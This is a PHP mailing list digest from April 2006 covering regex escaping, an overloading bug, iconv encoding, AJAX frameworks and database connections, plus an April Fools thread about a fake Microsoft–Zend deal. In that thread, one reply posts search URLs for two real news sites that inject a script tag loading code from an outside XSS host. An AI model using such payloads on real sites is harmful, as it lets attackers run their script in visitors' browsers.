php-general Digest 1 Apr 2006 17:45:41 -0000 Issue 4047

2006-04-01 Thread php-general-digest-help

php-general Digest 1 Apr 2006 17:45:41 - Issue 4047

Topics (messages 233040 through 233048):

Re: How to debug in CakePHP.
233040 by: John Nichel

Re: preg_match
233041 by: chris smith

Re: Overloading Limitation- Can Someone Confirm?
233042 by: Jochem Maas

iconv returns blank string, not false
233043 by: joseph
233045 by: joseph

utf8_encode failes?
233044 by: Merlin

PHP AJAX Framework - Suggestions Please
233046 by: Andrei Verovski (aka MacGuru)
233048 by: Greg Beaver

Re: MySQL close connection, what's the purpose?
233047 by: tedd

Administrivia:

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
php-general@lists.php.net


--
---BeginMessage---

chris smith wrote:

Hi everybody!
I use cake, I have an error, but I can't find where the error occurs.
Have any tools for debug?


Set up an error log. Edit your php.ini file and set:

log_errors = On

error_log = /path/to/logfile.log

then errors will get put in the logfile and you'll be able to track them down.



And for heaven's sake, RTFM and http://tinyurl.com/anel

--
By-Tor.com
...it's all about the Rush
http://www.by-tor.com
---End Message---
---BeginMessage---
On 4/1/06, Benjamin D Adams [EMAIL PROTECTED] wrote:
 I'm trying to check a string for ../
 ?php
 if(preg_match(/..//i, $string)){
 echo string has ../;
 }
 ?

 Can't get it to work can anyone help?

Since / is your delimiter you need to escape it.

Also '.' means anything so you need to escape that as well.

if (preg_match('/\.\.\//', $string)) ...

What are you trying to achieve? There may be a better way than using a
regular expression.

--
Postgresql  php tutorials
http://www.designmagick.com/
---End Message---
---BeginMessage---

Chr is wrote:

You're right, it's not going through the __Set() method a second time.

If you REALLY want to get confused by overloading behavior try the  
following code using your T class:


$t = new T;

$t-insideArray = array('a' = 'A', 'b' = 'B', 'c' = 'C');

foreach ($t-insideArray as $k = $v) {
$t-insideArray[$k] = null;
}

if (count($t-insideArray)  0) {
foreach ($t-insideArray as $k = $v) {
echo $v;
}
}

var_dump($t);

Why does count() return  0?

Why has $t-insideArray become NULL instead of an empty array?


I can't tell you because I don't have access to a 5.1.2 CLI at the moment.
I can tell you that this leads to a SegFault on 5.0.4, here is the output:

Setting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Segmentation fault

and on 5.1.1 it's not much better, the output is:

Setting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
Getting insideArray
FATAL:  emalloc():  Unable to allocate 1916888421 bytes




Chris
[EMAIL PROTECTED]



On Mar 31, 2006, at 7:39 PM, Jochem Maas wrote:

could you both take a look at this (I posted it already btw) -  notice 
that
the second 'set' action ($t-insideArray[test] = testing!;) is  
not going
via __set() at all, it uses __get() BUT/AND then an item is set in  
the returned
array ... and also in the [sub] array stored inside the object  (even 
though

nothing is being returned by reference):

(I feel that this is not right somehow!)

?php

class T {

private $array = array();

public function __get( $key ) {
echo Getting $key\n;
return $this-array[$key];
}

public function __set( $key, $value ) {
echo Setting $key\n;
$this-array[$key] = $value;
}

}

$t = new T;

$t-insideArray = array();
$t-insideArray[test] = testing!;

var_dump( $t );

?

OUTPUT:

Setting insideArray
Getting insideArray
object(T)#1 (1) {
  [array:private]=
  array(1) {
[insideArray]=
array(1) {
  [test]=
  string(8) testing!
}
  }



Jasper Bryant-Greene wrote:


Jim Lucas wrote:


Jasper Bryant-Greene wrote:


Jochem Maas wrote:


[snip]


you guess wrong :-)  .. I couldn't resist testing it:

php -r '
class T { private $var = array();
function __set($k, $v) { $this-var[$k] = $v; }
function __get($k) { var_dump($k); }
}
$t = new T;
$t-arr = array();
$t-arr[a] = 1;
echo OUTPUT: \n; var_dump($t-arr); var_dump($t-arr[a]);  
var_dump($t);

'




[snip]


Code:

?php

class T {

private $array = array();

public function __get( $key ) {
return $this-array[$key];
}

public function __set( $key, $value ) {
$this-array[$key] = $value;
}

}

$t = new T;

$t-insideArray = array();
$t-insideArray['test'] = 'testing!';

var_dump( $t );

?

Output:

object(T)#1 (1) {
  [array:private]=
  array(1) {
[insideArray]=
array(1) {
  [test]=
  string(8) testing!
}
  }
}

Dont know if you guys see 

[PHP] iconv returns blank string, not false

2006-04-01 Thread joseph
why is this iconv function not working for me?  
i am converting $search to euc-kr charset.
my conversion code is not working.

background and motivation

i   have to mimic a accept-charset on a form to fake a get request by
disguising it as a hyperlink.  (my firefox refuses me tosend a remote
post request from a win_open() [ al a javascript] function.

the accept-charset value is 'euc-kr'.

i threw in extra iconv_set_encoding to eliminate some problem there, but
still no progress... :(

code
--
$xab = 1;
$str_out =  mb_detect_encoding($search);
$converted_search=ax;
iconv_set_encoding(output_encoding, EUC-KR);
iconv_set_encoding(input_encoding, $str_out);
if ($xab) echo  mb_detect_encoding*** . $str_out .***search***
$search***br;
if ( function_exists('iconv') )   {
if ($str_out != 'euc-kr') {
if ($xab) var_dump( iconv_get_encoding('all'));
if ($xab) echo iconv: \$converted_search***$converted_search***
br;
$converted_search = iconv($str_out,EUC-KR,$search);
if ($xab) echo iconv: \$converted_search***$converted_search***
br;
}
}


output (checks that search is proper and outputs iconv_detect_encoding
and checks return from iconv function call)
-
mb_detect_encoding***UTF-8***search***꺼다***
array(3) { [input_encoding]= string(5) UTF-8 [output_encoding]=
string(6) EUC-KR [internal_encoding]= string(10) ISO-8859-1 }
iconv: $converted_search***ax*** 
iconv: $converted_search**

many blessings to all.
merry chirstmas.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] utf8_encode failes?

2006-04-01 Thread Merlin

Hi there,

I am trying to encode output with php with uft8_encode(); and then output it to 
an xml file. Unfortunatelly this does not work as the string that has been 
encoded by utf8_encode is not valid utf8?!


Any ideas how this has happened?

Here is a link to this file:
http://www.findix.com/syndication/listing_autos.xml

Thank you for any hint,

Merlin

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] iconv returns blank string, not false

2006-04-01 Thread joseph
 why is this iconv function not working for me?  
 i am converting $search to euc-kr charset.
 my conversion code is not working.
 
 background and motivation
 
 i have to mimic a accept-charset on a form to fake a get request by
 disguising it as a hyperlink.  (my firefox refuses me tosend a remote
 post request from a win_open() [ al a javascript] function.
 
 the accept-charset value is 'euc-kr'.
 
 i threw in extra iconv_set_encoding to eliminate some problem there, but
 still no progress... :(
 
 code
 --
 $xab = 1;
 $str_out =  mb_detect_encoding($search);
 $converted_search=ax;
 iconv_set_encoding(output_encoding, EUC-KR);
 iconv_set_encoding(input_encoding, $str_out);
 if ($xab) echo  mb_detect_encoding*** . $str_out .***search***
 $search***br;
 if ( function_exists('iconv') )   {
 if ($str_out != 'euc-kr') {
 if ($xab) var_dump( iconv_get_encoding('all'));
 if ($xab) echo iconv: \$converted_search***$converted_search***
 br;
 $converted_search = iconv($str_out,EUC-KR,$search);
 if ($xab) echo iconv: \$converted_search***$converted_search***
 br;
 }
 }
 
 
 output (checks that search is proper and outputs iconv_detect_encoding
 and checks return from iconv function call)
 -
 mb_detect_encoding***UTF-8***search***꺼다***
 array(3) { [input_encoding]= string(5) UTF-8 [output_encoding]=
 string(6) EUC-KR [internal_encoding]= string(10) ISO-8859-1 }
 iconv: $converted_search***ax*** 
 iconv: $converted_search**
 
 many blessings to all.
 merry chirstmas.

this works for some utf8 words coming in.
strange, also, if i var_dump($converted_search) it says
string(4) 
but it is completely empty for all other purposes.

by the way, is this the correct way to send an encoded value over the
internet for a href tag, as a get request?

the $converted_search is what is output from the iconv functions

centerh3search from a
href='http://nlpweb.kaist.ac.kr/Urimal/find_word.php?kt_word=\;?php
echo
$converted_search; 
?\cs=ksc'http://nlpweb.kaist.ac.kr/Urimal//a/h3/center

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP AJAX Framework - Suggestions Please

2006-04-01 Thread Andrei Verovski (aka MacGuru)
Hi,

Anyone can suggest me which PHP AJAX framework you are using, for what 
reason(s), what are pros and cons of your particular choice.

I found many, and now facing difficult choice.

BTW, how do you pass session id between calls to PHP from JavaScript (cookies 
or explicit foo.php?PHPSESSSIONID=blahblahblah)?

Thanks in advance for any suggestion(s).

Andrei

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd

I always close the connection right after my

   query -- force of habit. It's like leaving the
   toilet seat up, it's only going to get you into
   trouble.
 
  So you close it after every query and then re-open it later for the
  next query? I don't see that as a good idea.

  
  No, you leave it open until you're done with the database.

Reading Ted's post didn't give this impression. I wanted to make sure
he wasn't doing it that way.


Chris et al:

Actually I am. When I need something from the dB, I open it, get the 
information and close it. It's like opening a drawer, getting what 
you need, and then closing the drawer. Where's the problem?


I don't see any reason whatsoever for me to open the dB at the start 
of my session and then close it at the end. Is there some 
overwhelming reason for anyone to do so?


You see, my habit stems from doing a lot of communication programming 
-- it was my experience that you open a communication port 
(file/channel/port/whatever); establish a link; exchange data; and 
close it. There's no need to leave it open.


Additionally, isn't that they way the net is set up? When your 
browser accesses a web site, the browser sends a request for 
information, the web site responds, and then both of you attend to 
your own business. There is no maintaining an open communication 
link, other than a session or cookie.


Plus, if you are talking to several devices (including dB's) at once, 
then how do you know for sure which device you're talking to IF you 
leave all communication ports open?


Furthermore, from a code perspective, I always comment my open and 
close dB-includes as a pair -- like braces in a function or in an if 
statement. That way, I always know where in my code are the dB 
segments. Additionally, I also number the error statements in the die 
portion -- so if something goes wrong, I know exactly where it went 
wrong.


This does not mean that I place an open/extract-insert/close dB 
within a loop. If I need to get something that way, then I open the 
dB before the loop and close the dB after the loop. However, I much 
prefer having MySQL do the looping for me.


It's my understanding that opening a dB isn't problematic and isn't 
something that I should worry about, right? It's also my 
understanding that opening a dB is very fast, and it can manage a 
large number of commands, and different connections very quickly, 
right?  Then what's the problem with opening it several times during 
a session instead just once?


If someone cares to enlighten me with a convincing argument to do 
otherwise, I'll certainly consider and adapt. But my guess is, that 
opening a dB the way I do it presents no significant downside.


I've never had a problem with showing my ignorance before, so prove 
me wrong if you can. I can learn.


Thanks.

tedd
--

http://sperling.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP AJAX Framework - Suggestions Please

2006-04-01 Thread Greg Beaver
Andrei Verovski (aka MacGuru) wrote:
 Hi,
 
 Anyone can suggest me which PHP AJAX framework you are using, for what 
 reason(s), what are pros and cons of your particular choice.
 
 I found many, and now facing difficult choice.
 
 BTW, how do you pass session id between calls to PHP from JavaScript (cookies 
 or explicit foo.php?PHPSESSSIONID=blahblahblah)?
 
 Thanks in advance for any suggestion(s).

http://pear.php.net/HTML_AJAX

The setup is simple, usage is very easy to debug and it is actively
maintained by one of the more respected PHP coders, Josh Eichorn.

Cookies are fully supported and are preferrable to using a GET variable.

Greg

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
I've just heard about Microsoft deal, the geant bought the Zend
platform at 113 million US$.
What will be the php future ? it's gonna switch to proprietary licence
? closed source ? or it was a Zend product deal ? (zend studio,
platform ...) not affecting the php language in itself ?
Does this mean that all efforts done in open source by thousands of
people around the world to get a web scripting language at a high
entreprise level is now bought by Micrsoft ?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html




On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?

 Where did you hear this? Have you considered the date? Have you
 considered how unlikely it is? Have you ever sought professional help?

 -Stut


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Adrian
Did you even look at the calendar which date we have today?
Correct, April 1st...

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Zouari Fourat wrote:

here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html


Seriously... consider the date.

-Stut


On 4/1/06, Stut [EMAIL PROTECTED] wrote:

Zouari Fourat wrote:

I've just heard about Microsoft deal, the geant bought the Zend
platform at 113 million US$.
What will be the php future ? it's gonna switch to proprietary licence
? closed source ? or it was a Zend product deal ? (zend studio,
platform ...) not affecting the php language in itself ?
Does this mean that all efforts done in open source by thousands of
people around the world to get a web scripting language at a high
entreprise level is now bought by Micrsoft ?

Where did you hear this? Have you considered the date? Have you
considered how unlikely it is? Have you ever sought professional help?

-Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
hope that :)

On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Zouari Fourat wrote:
  here's the link
  http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

 Seriously... consider the date.

 -Stut

  On 4/1/06, Stut [EMAIL PROTECTED] wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional help?
 
  -Stut
 



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
Come on, you should have played along... ;-)

Gerry

On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Zouari Fourat wrote:
  here's the link
  http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

 Seriously... consider the date.

 -Stut

  On 4/1/06, Stut [EMAIL PROTECTED] wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional help?
 
  -Stut




Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
that is f--'d up manI just started liking php5 :(

Oh well, f-- this open source garbage.


On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:

 Come on, you should have played along... ;-)

 Gerry

 On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 
  Zouari Fourat wrote:
   here's the link
  
 http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
 
  Seriously... consider the date.
 
  -Stut
 
   On 4/1/06, Stut [EMAIL PROTECTED] wrote:
   Zouari Fourat wrote:
   I've just heard about Microsoft deal, the geant bought the Zend
   platform at 113 million US$.
   What will be the php future ? it's gonna switch to proprietary
 licence
   ? closed source ? or it was a Zend product deal ? (zend studio,
   platform ...) not affecting the php language in itself ?
   Does this mean that all efforts done in open source by thousands of
   people around the world to get a web scripting language at a high
   entreprise level is now bought by Micrsoft ?
   Where did you hear this? Have you considered the date? Have you
   considered how unlikely it is? Have you ever sought professional
 help?
  
   -Stut
 
 




--
Anthony Ettinger
Signature: http://chovy.dyndns.org/hcard.html


Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Gerry Danen wrote:

Come on, you should have played along... ;-)


I'd had my fill by the time that arrived. It seems to me that people go 
overboard now. Slashdot used to have one a year, and it was always 
something that was vaguely possible, this year they've even changed the 
colour scheme on the site. Shame really.


-Stut


On 4/1/06, *Stut* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:

Zouari Fourat wrote:
  here's the link
 
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

Seriously... consider the date.

-Stut

  On 4/1/06, Stut [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]
wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary
licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by
thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional
help?
 
  -Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
:) Gerry not that funny ;)
I was affraid :o from the news

On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:
 Come on, you should have played along... ;-)

 Gerry

 On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 
  Zouari Fourat wrote:
   here's the link
   http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
 
  Seriously... consider the date.
 
  -Stut
 
   On 4/1/06, Stut [EMAIL PROTECTED] wrote:
   Zouari Fourat wrote:
   I've just heard about Microsoft deal, the geant bought the Zend
   platform at 113 million US$.
   What will be the php future ? it's gonna switch to proprietary licence
   ? closed source ? or it was a Zend product deal ? (zend studio,
   platform ...) not affecting the php language in itself ?
   Does this mean that all efforts done in open source by thousands of
   people around the world to get a web scripting language at a high
   entreprise level is now bought by Micrsoft ?
   Where did you hear this? Have you considered the date? Have you
   considered how unlikely it is? Have you ever sought professional help?
  
   -Stut
 
 



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Zouari Fourat wrote:

:) Gerry not that funny ;)
I was affraid :o from the news


Rule #1 on the Internet... Never trust any news without a link to an 
official source

Rule #2 on the Internet... Never trust anything you read on April 1st

-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Matt Richards

Zouari Fourat: lol, bet you feel silly now :)

Stut wrote:

Zouari Fourat wrote:

:) Gerry not that funny ;)
I was affraid :o from the news


Rule #1 on the Internet... Never trust any news without a link to an 
official source

Rule #2 on the Internet... Never trust anything you read on April 1st

-Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
PHP to be what it is, he just wanted something simple and now look at it.
It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up. Who knows,
maybe once they've got PHP under control we won't need these security
'experts' like Chris Shifflett any more because would be hackers won't be
able to see the source code, which of course means they won't be able to
find vulnerabilities. You guys just need to give up on this open source
hippie dream and let Microsoft change things for the better - who cares if
Stephen King thinks they are working in conjunction with the Crimson King
and that they might build robots that will someday take over the world and
more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks
creepy anyway.

 - and a happy April fool's to all ;-)


On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote:

 Zouari Fourat: lol, bet you feel silly now :)

 Stut wrote:
  Zouari Fourat wrote:
  :) Gerry not that funny ;)
  I was affraid :o from the news
 
  Rule #1 on the Internet... Never trust any news without a link to an
  official source
  Rule #2 on the Internet... Never trust anything you read on April 1st
 
  -Stut
 

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
nice one!

On 4/1/06, Joe Wollard [EMAIL PROTECTED] wrote:
 Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
 the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
 PHP to be what it is, he just wanted something simple and now look at it.
 It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm
 personally looking forward to the way they'll clean things up. Who knows,
 maybe once they've got PHP under control we won't need these security
 'experts' like Chris Shifflett any more because would be hackers won't be
 able to see the source code, which of course means they won't be able to
 find vulnerabilities. You guys just need to give up on this open source
 hippie dream and let Microsoft change things for the better - who cares if
 Stephen King thinks they are working in conjunction with the Crimson King
 and that they might build robots that will someday take over the world and
 more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks
 creepy anyway.

  - and a happy April fool's to all ;-)


 On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote:
 
  Zouari Fourat: lol, bet you feel silly now :)
 
  Stut wrote:
   Zouari Fourat wrote:
   :) Gerry not that funny ;)
   I was affraid :o from the news
  
   Rule #1 on the Internet... Never trust any news without a link to an
   official source
   Rule #2 on the Internet... Never trust anything you read on April 1st
  
   -Stut
  
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php
 
 




--
Anthony Ettinger
Signature: http://chovy.dyndns.org/hcard.html

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft buying Zend 
would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't 
even mean for PHP to be what it is, he just wanted something simple and 
now look at it. It's WAY to complex for an unorganized bunch of 
hobbyists to maintain. I'm personally looking forward to the way they'll 
clean things up. Who knows, maybe once they've got PHP under control we 
won't need these security 'experts' like Chris Shifflett any more 
because would be hackers won't be able to see the source code, which of 
course means they won't be able to find vulnerabilities. You guys just 
need to give up on this open source hippie dream and let Microsoft 
change things for the better - who cares if Stephen King thinks they are 
working in conjunction with the Crimson King and that they might build 
robots that will someday take over the world and more or less 'suck the 
s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway.


 - and a happy April fool's to all ;-)


Here's assuming that was a joke so I won't get into the factual errors. 
I wonder how Zend and the other core developers will feel about being 
referred to as an unorganized bunch of hobbyists.


-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Russell Jones
Are you guys sure, I mean the St Louis Post Dispatch is showing it too... As
is Cincinatti.com

http://search.cincinnati.com/sp?aff=5keywords=%3Cscript%20src=http://www.xssfools.com/xss.php%3Fy%3Dh917254010%3E%3C/script%3E

http://www.stltoday.com/stltoday/search.nsf/sitesearchresults?openviewtype=1ch=Homequery=%3Cscript+src%3Dhttp%3A%2F%2Fwww.xssfools.com%2Fxss.php%3Fy%3Dh917254010%3E%3C%2Fscript%3E

On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Joe Wollard wrote:
  Leave poor Zouari alone! I for one think that Microsoft buying Zend
  would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't
  even mean for PHP to be what it is, he just wanted something simple and
  now look at it. It's WAY to complex for an unorganized bunch of
  hobbyists to maintain. I'm personally looking forward to the way they'll
  clean things up. Who knows, maybe once they've got PHP under control we
  won't need these security 'experts' like Chris Shifflett any more
  because would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks they are
  working in conjunction with the Crimson King and that they might build
  robots that will someday take over the world and more or less 'suck the
  s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)

 Here's assuming that was a joke so I won't get into the factual errors.
 I wonder how Zend and the other core developers will feel about being
 referred to as an unorganized bunch of hobbyists.

 -Stut

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




[PHP] Today is a special day for phpinfo()

2006-04-01 Thread Ryan A
Hey all,

Most of your seasoned vets might already know this but for most of you
newcomers run a script with phpinfo() in it and check the php logo on top.

Its a little easter egg thats around just for April 1st (thanks go to
Zouari Fourat  for reminding us)

Cheers all!

-Ryan

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Kevin Kinsey

Stut wrote:


Joe Wollard wrote:


Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up.
Who knows, maybe once they've got PHP under control we won't
need these security 'experts' like Chris Shifflett any more because
would be hackers won't be able to see the source code, which of
course means they won't be able to find vulnerabilities. You guys just
need to give up on this open source hippie dream and let Microsoft
change things for the better - who cares if Stephen King thinks
they are working in conjunction with the Crimson King and that
they might build robots that will someday take over the world
and more or less 'suck the s-m-r-t' out of 50% of the worlds
twins? He looks creepy anyway.

 - and a happy April fool's to all ;-)




__
 Troll, I warnest thee, BEGONE!!! 
--
 \/ \  //\
  \|\___/|  /   \//  \\
   /0  0  \__  ///  | \ \   
  / /  \/_///   |  \  \ 
  @_^_@'/   \/_   //|   \   \

  //_^_/ \/_ // |\\
   ( //) |\///  | \ \
 ( / /) _|_ /   )  //   |  \ _\
   ( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
 (( / / )) ,-{_  `-.|.-~-.   .~ `.
(( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
(( /// ))  `.   {}   /  \  \
 (( / )) .~-.\\-' .~ \  `. \^-.
///...\ _ -~ `.  ^-`  ^-_
  ///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
 /.-~
 


:-D


Here's assuming that was a joke so I won't get into the factual
errors. I wonder how Zend and the other core developers will
feel about being referred to as an unorganized bunch of hobbyists.

-Stut



Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA.  ;-)

As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D

KDK

--
Disclose classified information only when a NEED TO KNOW exists.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be
enough. Of course I'm joking, why would I be on this list if I didn't like
open source and PHP in general? Besides, I made fun of Chris and Rasmus
specifically because I know they're on this list. They both know they
_rule_so_hard_!


On 4/1/06, Kevin Kinsey [EMAIL PROTECTED] wrote:

 Stut wrote:

  Joe Wollard wrote:
 
  Leave poor Zouari alone! I for one think that Microsoft
  buying Zend would be the best thing to happen to PHP, EVAR!
  This Rasmus guy didn't even mean for PHP to be what it is, he
  just wanted something simple and now look at it. It's WAY to
  complex for an unorganized bunch of hobbyists to maintain. I'm
  personally looking forward to the way they'll clean things up.
  Who knows, maybe once they've got PHP under control we won't
  need these security 'experts' like Chris Shifflett any more because
  would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks
  they are working in conjunction with the Crimson King and that
  they might build robots that will someday take over the world
  and more or less 'suck the s-m-r-t' out of 50% of the worlds
  twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)
 

 __
  Troll, I warnest thee, BEGONE!!! 
 --
   \/ \  //\
\|\___/|  /   \//  \\
 /0  0  \__  ///  | \ \
/ /  \/_///   |  \  \
@_^_@'/   \/_   //|   \   \
//_^_/ \/_ // |\\
 ( //) |\///  | \ \
   ( / /) _|_ /   )  //   |  \ _\
 ( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
   (( / / )) ,-{_  `-.|.-~-.   .~ `.
 (( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
 (( /// ))  `.   {}   /  \  \
   (( / )) .~-.\\-' .~ \  `. \^-.
  ///...\ _ -~
 `.  ^-`  ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
   /.-~


 :-D

  Here's assuming that was a joke so I won't get into the factual
  errors. I wonder how Zend and the other core developers will
  feel about being referred to as an unorganized bunch of hobbyists.
 
  -Stut


 Well, I'm not sure about your LOCALE and cultural referents,
 but from where I'm sitting I could freakin' *see* the sarcasm
 tags on that one ... or maybe it's just my MUA.  ;-)

 As an aside, to prevent further potential misunderstanding,
 there's one on my ASCII art as well :-D

 KDK

 --
 Disclose classified information only when a NEED TO KNOW exists.




Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Joe Wollard wrote:
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would 
be enough. Of course I'm joking, why would I be on this list if I didn't 
like open source and PHP in general? Besides, I made fun of Chris and 
Rasmus specifically because I know they're on this list. They both know 
they _rule_so_hard_!


Blimey, I think everyone needs to get their sarcasm detectors checked. 
Thank $DEITY it's now known as yesterday!!


-Stut


On 4/1/06, *Kevin Kinsey* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:

